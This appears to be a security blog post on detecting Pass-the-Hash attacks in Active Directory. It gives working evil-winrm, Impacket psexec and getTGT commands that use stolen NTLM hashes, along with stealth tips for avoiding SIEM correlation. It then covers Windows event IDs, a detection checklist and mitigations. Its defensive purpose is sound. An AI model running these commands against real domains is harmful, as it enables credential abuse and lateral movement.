Pass-the-Hash Detection: How to Detect NTLM Hash Replay in AD

Pass-the-Hash (PtH) Detection means identifying authentication attempts that use a stolen NTLM hash instead of a plaintext password. Key indicators: Event ID 4624 with LogonType 3 and NTLM authentication from an unexpected source, and NTLM logons on accounts where Kerberos is the norm. Correlating lateral movement patterns across authentication logs in a SIEM is the most reliable way to catch it early.

This post covers how Pass-the-Hash works at the protocol level, how to execute it in a lab using evil-winrm, Impacket psexec, and the Kerberos ticket-based variant.

What Is a Pass-the-Hash Attack?

On Windows, user passwords are never stored or transmitted in plaintext. Instead, they are converted to an NTLM hash which is used during network authentication. When a user logs in or accesses a remote resource, the system compares hashes — not the original password.

Attackers exploit this design by stealing hashes directly from memory and replaying them as credentials — no cracking, no plaintext required.

Pass-the-Hash is commonly used to:

• Authenticate to remote services using only a stolen NTLM hash
• Perform lateral movement across machines after compromising a single endpoint
• Avoid detection — no plaintext password is ever transmitted or cracked
• Leverage high-privilege hashes for privilege escalation across the domain

In MITRE ATT&CK, this is T1550.002 — Use Alternate Authentication Material: Pass the Hash.

Where Does the Hash Come From?

Before performing Pass-the-Hash, the attacker needs a valid NTLM hash. The most effective source in an Active Directory environment is DCSync. After running secretsdump.py, output arrives in lmhash:nthash format:

administrator:500:aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a9b19dfdb7f93d7f31a5b1a7f4fe2f90:::

The part needed for Pass-the-Hash is the NT hash — the second value after the final colon (579da618...). The LM hash on the left (aad3b435...) is a blank-password placeholder and can be ignored.

How to Perform Pass-the-Hash with evil-winrm

evil-winrm is the most straightforward tool for Pass-the-Hash over WinRM (port 5985/5986). It gives you an interactive PowerShell shell on the target without ever sending a plaintext password.

1. Install evil-winrm

sudo apt install evil-winrm

2. Connect using the NT hash

evil-winrm -i 10.10.10.10 -u user.test -H 579da618cfbfa85247acf1f800a280a4

Option breakdown:

If WinRM is enabled on the target and the account has the right permissions, you will land in an interactive shell — no password ever transmitted.

How to Perform Pass-the-Hash with Impacket psexec

For targets where WinRM is unavailable, psexec.py from Impacket uses SMB to drop a temporary service binary and return a SYSTEM shell. It accepts the full lmhash:nthash format directly:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 domain.local/administrator@10.10.10.10

Note: psexec.py is noisier than evil-winrm — it creates a Windows service on the target that most EDR solutions flag. Use it only when WinRM is closed and stealth is not a priority.

How to Perform Pass-the-Hash via a Kerberos Ticket

A stealthier variant converts the NTLM hash into a Kerberos TGT and uses that for authentication instead of NTLM directly. This bypasses NTLM logging on the target and is significantly harder to correlate in a SIEM.

Step 1 — Request a TGT using the NT hash

impacket-getTGT domain.local/administrator \
  -hashes :579da618cfbfa85247acf1f800a280a4 \
  -dc-ip 10.10.10.10

This creates an administrator.ccache file — a Kerberos credential cache containing a valid TGT for the account.

Step 2 — Export the cache to the environment

export KRB5CCNAME=administrator.ccache

Step 3 — Use the ticket to authenticate

KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass \
  domain.local/administrator@DC1.domain.local \
  -dc-ip 10.10.10.10

How Do the Three Pass-the-Hash Methods Compare?

Each approach suits a different scenario in a real engagement. Here is a quick decision guide:

What Windows Event Log Signs Indicate a Pass-the-Hash Attack?

Pass-the-Hash leaves traces in authentication logs on the target machine — not just the Domain Controller. This is the most common monitoring gap in PtH detection.

Event ID 4624 — Successful Logon (Primary Signal)

When Pass-the-Hash succeeds, the target machine logs a network logon. Filter by these fields together:

Red flag: A domain admin account authenticating via NTLM (LogonType 3) from a workstation not in your asset inventory — especially one with a Linux-style hostname. Admins in a healthy domain use Kerberos, not NTLM, for network logons.

Event ID 4776 — NTLM Credential Validation

Logged on the Domain Controller when NTLM authentication is validated. Look for:

• Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
• Logon Account: the account being authenticated
• Source Workstation: the machine that initiated the authentication

Repeated 4776 events for a privileged account from a single non-DC source in a short window is a strong indicator of automated lateral movement.

Event ID 4768 / 4769 — Kerberos TGT and Service Ticket

When the attacker uses impacket-getTGT to convert an NTLM hash into a Kerberos ticket, the DC logs these events:

• 4768 — Kerberos TGT requested for the account
• 4769 — Kerberos service ticket requested when the ticket is used

Flag any 4768 where the source IP is not a known domain-joined workstation and the account is privileged.

Quick Detection Checklist

• Event 4624 (LogonType 3, NTLM) from a privileged account on an unexpected machine
• NTLM authentication where Kerberos is the domain standard
• Logon from a workstation not in your asset inventory or with a Linux-style hostname
• Event 4776 showing the same privileged account hitting multiple targets rapidly
• Event 4768 from a source IP that is not a domain-joined workstation
• Service account logged in interactively (LogonType 2 or 10) — abnormal for service accounts

How to Enable Proper Logging for Pass-the-Hash Detection?

Events 4624 and 4776 must be enabled explicitly via Group Policy. Apply this setting to all domain-joined machines — not just the DC.

Computer Configuration
  → Windows Settings
  → Security Settings
  → Advanced Audit Policy Configuration
  → Logon/Logoff
    → Audit Logon               → Success + Failure
  → Account Logon
    → Audit Credential Validation → Success + Failure

Forward Security Event Logs from all domain-joined machines to your SIEM. Pass-the-Hash authentication events appear on the target machine — not the source or the DC. Monitoring only Domain Controllers leaves the most important telemetry blind.

Conclusion

Pass-the-Hash is dangerous precisely because it eliminates the need for a plaintext password. An attacker with a valid NTLM hash — from DCSync, Mimikatz, or a memory dump — can authenticate to any machine that accepts that credential with zero cracking required. To defend against it:

1. Enforce Kerberos where possible — disable NTLM for privileged accounts. NTLM-based PtH cannot work if NTLM is blocked at the policy level.
2. Enable Event 4624 and 4776 auditing on every domain-joined machine — not just the DC. PtH events appear on the target, and monitoring only the DC misses them entirely.
3. Alert on LogonType 3 + NTLM from privileged accounts — build a SIEM rule for admin-level accounts authenticating via NTLM over the network from non-standard sources.
4. Rotate credentials after a DCSync event — if DCSync is confirmed, reset all privileged account passwords and the krbtgt password twice to invalidate existing tickets and hashes.